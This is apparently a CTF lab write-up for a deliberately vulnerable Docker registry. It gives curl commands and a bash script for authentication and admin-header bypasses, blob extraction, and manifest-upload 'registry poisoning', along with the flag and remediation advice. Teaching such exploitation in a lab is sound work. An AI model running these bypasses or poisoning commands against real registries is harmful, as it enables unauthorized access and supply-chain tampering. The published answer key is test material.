Labs / Registry Hijacker

Daily Challenge
Released 09 Sep 2025

🐳 Can you hijack this Docker registry and extract its hidden secrets?

A Docker registry management platform implements the Registry API v2 with enterprise security features for container image storage and distribution. But when authentication mechanisms meet implementation flaws, even the most secure registries can leak their most sensitive layers and manifests. 🎯 Time to test your container registry exploitation skills!

Flags

Points

Daily Challenge

Solution Available

Pro Exclusive

Start Lab Environment

~1-2 min setup

AWS dedicated

Private instance

Industry standard

Daily Challenge

🐳 Registry Hijacker - Complete Step-by-Step Exploitation Guide

Challenge Objective: Exploit multiple Docker Registry API v2 vulnerabilities to bypass authentication, access restricted admin panels, and extract the hidden flag from sensitive registry data through various attack vectors.

📋 Quick Solution Summary

Fastest Path to Flag:
curl <target-ip>/v2/secure-app/blobs/sha256:secret-layer
Alternative: Login as user:password123 → Access /registry-admin?admin=true

🔍 Step 1: Understanding Docker Registry API v2

Docker Registry API v2 is the standard protocol for storing and distributing Docker images. It uses a RESTful API with endpoints for manifests, blobs, and catalog operations. Common vulnerabilities include weak authentication, missing access controls, and information disclosure.

Key Registry API Endpoints:
• /v2/ - Registry root (version check)
• /v2/_catalog - List all repositories
• /v2/{repo}/tags/list - List tags for repository
• /v2/{repo}/manifests/{tag} - Get/Put image manifest
• /v2/{repo}/blobs/{digest} - Get blob data

🔍 Step 2: Initial Application Analysis

Navigate to to access the SecureRegistry Hub. The application provides a Docker registry management interface with the following features:

Web Interface: Registry dashboard and information panels
Registry API: Docker Registry API v2 endpoints
Authentication: Basic auth for both web and API access
Admin Panel: Administrative functions (restricted access)

Test Credentials:

Username: user | Password: password123
Username: admin | Password: admin123

🔍 Step 3: Registry API Reconnaissance

Start by exploring the Docker Registry API endpoints without authentication:

Basic API Discovery

# Check registry version
curl /v2/

# List repositories (should require auth)
curl /v2/_catalog

# Expected: Unauthorized or repository list

Repository Enumeration

# List tags for secure-app repository
curl /v2/secure-app/tags/list

# Get manifest for latest tag
curl /v2/secure-app/manifests/latest

🔍 Step 4: Authentication Bypass Discovery

The registry implements vulnerable authentication that can be bypassed:

Authentication Bypass Techniques:
1. Empty Password Bypass: username: (colon with empty password)
2. Header Bypass: X-Registry-Auth: bypass
3. Admin Access Bypass: X-Admin-Access: granted

🔍 Step 5: Exploiting Authentication Bypass

Method 1: Basic Auth Bypass

# Create malformed basic auth
echo -n "admin:" | base64
# Result: YWRtaW46

# Use bypassed auth
curl -H "Authorization: Basic YWRtaW46" /v2/_catalog

Method 2: Header Bypass

# Bypass using special header
curl -H "X-Registry-Auth: bypass" /v2/_catalog

# Access admin functions
curl -H "X-Admin-Access: granted" /registry-admin

🔍 Step 6: Repository and Manifest Exploration

Once authentication is bypassed, explore the registry contents:

# List all repositories
curl -H "Authorization: Basic YWRtaW46" /v2/_catalog

# Expected response:
{"repositories": ["secure-app"]}

# List tags for secure-app
curl /v2/secure-app/tags/list

# Expected response:
{"name": "secure-app", "tags": ["v1.0", "latest"]}

# Get manifest for latest tag
curl /v2/secure-app/manifests/latest

🔍 Step 7: Blob and Layer Analysis

Examine the image manifest to identify blob digests and layers:

Manifest Analysis

# The manifest reveals layers:
{
  "layers": [
    {"digest": "sha256:layer1"},
    {"digest": "sha256:layer2"},
    {"digest": "sha256:secret-layer"}
  ]
}

Blob Access

# Access blob data directly
curl /v2/secure-app/blobs/sha256:secret-layer

# This should contain the flag
# 354facca-2ae0-4eef-8e2f-042f0c8a22d2

🔍 Step 8: Flag Extraction via Blob Access

The flag is stored in the secret layer blob:

Flag Extraction Command:
curl /v2/secure-app/blobs/sha256:secret-layer

Expected Response:

354facca-2ae0-4eef-8e2f-042f0c8a22d2

🔍 Step 9: Alternative Admin Panel Access

You can also access the flag through the admin panel bypass:

Web Interface Method

Login with user:password123
Navigate to /registry-admin
Add URL parameter: ?admin=true
Or add header: X-Admin-Access: granted
The flag appears in the secret data section

Direct API Method

# Access admin panel directly
curl -b cookies.txt -H "X-Admin-Access: granted" /registry-admin

# Look for flag in JSON response

🔍 Step 10: Complete Exploitation Script

#!/bin/bash

TARGET=""

# Method 1: Direct blob access
echo "[+] Attempting direct blob access..."
FLAG=$(curl -s "$TARGET/v2/secure-app/blobs/sha256:secret-layer")
echo "Flag from blob: $FLAG"

# Method 2: Authentication bypass
echo "[+] Attempting auth bypass..."
AUTH=$(echo -n "admin:" | base64)
curl -s -H "Authorization: Basic $AUTH" "$TARGET/v2/_catalog"

# Method 3: Admin panel bypass
echo "[+] Attempting admin panel access..."
curl -s -H "X-Admin-Access: granted" "$TARGET/registry-admin" | grep -o '[0-9a-f-]\{36\}'

🔍 Step 11: Understanding the Vulnerabilities

Authentication Bypass

# VULNERABLE: Weak auth validation
if ':' in decoded and decoded.endswith(':'):
    return decoded.split(':')[0]

# Allows empty password authentication

Access Control Bypass

# VULNERABLE: Header-based bypass
is_admin = (session['user'] == 'admin' or 
           request.args.get('admin') == 'true' or
           request.headers.get('X-Admin-Access') == 'granted')

🔍 Step 12: Registry Security Analysis

The vulnerabilities exist because:

Weak Authentication: Basic auth parsing allows empty passwords
Missing Access Controls: Registry API endpoints lack proper authentication
Header Injection: Custom headers can bypass security checks
Information Disclosure: Sensitive data accessible without authorization
Direct Object Access: Blob digests can be accessed directly

🔍 Step 13: Advanced Exploitation Techniques

Manifest Manipulation

# Upload malicious manifest
curl -X PUT -H "X-Registry-Auth: bypass" \
  -H "Content-Type: application/json" \
  -d '{"layers":[{"digest":"sha256:malicious"}]}' \
  /v2/secure-app/manifests/evil

Layer Enumeration

# Enumerate all layers
for layer in layer1 layer2 secret-layer; do
  curl /v2/secure-app/blobs/sha256:$layer
done

Registry Poisoning

# Poison registry catalog
curl -X PUT -H "X-Registry-Auth: bypass" \
  /v2/malicious-repo/manifests/latest

🔍 Step 14: Security Implications

Docker Registry vulnerabilities can lead to:

Image Tampering: Modification of container images and manifests
Secret Extraction: Access to sensitive data stored in image layers
Supply Chain Attacks: Injection of malicious images into the registry
Privilege Escalation: Gaining administrative access to registry functions
Data Exfiltration: Downloading private container images and secrets
Registry Poisoning: Uploading malicious images to compromise deployments

🔍 Step 15: Remediation Strategies

To secure Docker registries:

Strong Authentication: Implement proper token-based authentication (JWT)
Access Control: Use role-based access control (RBAC) for registry operations
Input Validation: Validate all API inputs and headers
Network Security: Use TLS encryption and network segmentation
Image Scanning: Implement vulnerability scanning for stored images
Audit Logging: Log all registry operations and access attempts
Secrets Management: Use proper secrets management instead of storing secrets in layers

Flag Location: The flag 354facca-2ae0-4eef-8e2f-042f0c8a22d2 is accessible via direct blob access at /v2/secure-app/blobs/sha256:secret-layer or through the admin panel using access control bypass techniques.

Real-World Application: This challenge demonstrates realistic Docker Registry API vulnerabilities commonly found in private container registries where weak authentication and missing access controls can lead to unauthorized access to sensitive container images and proprietary code.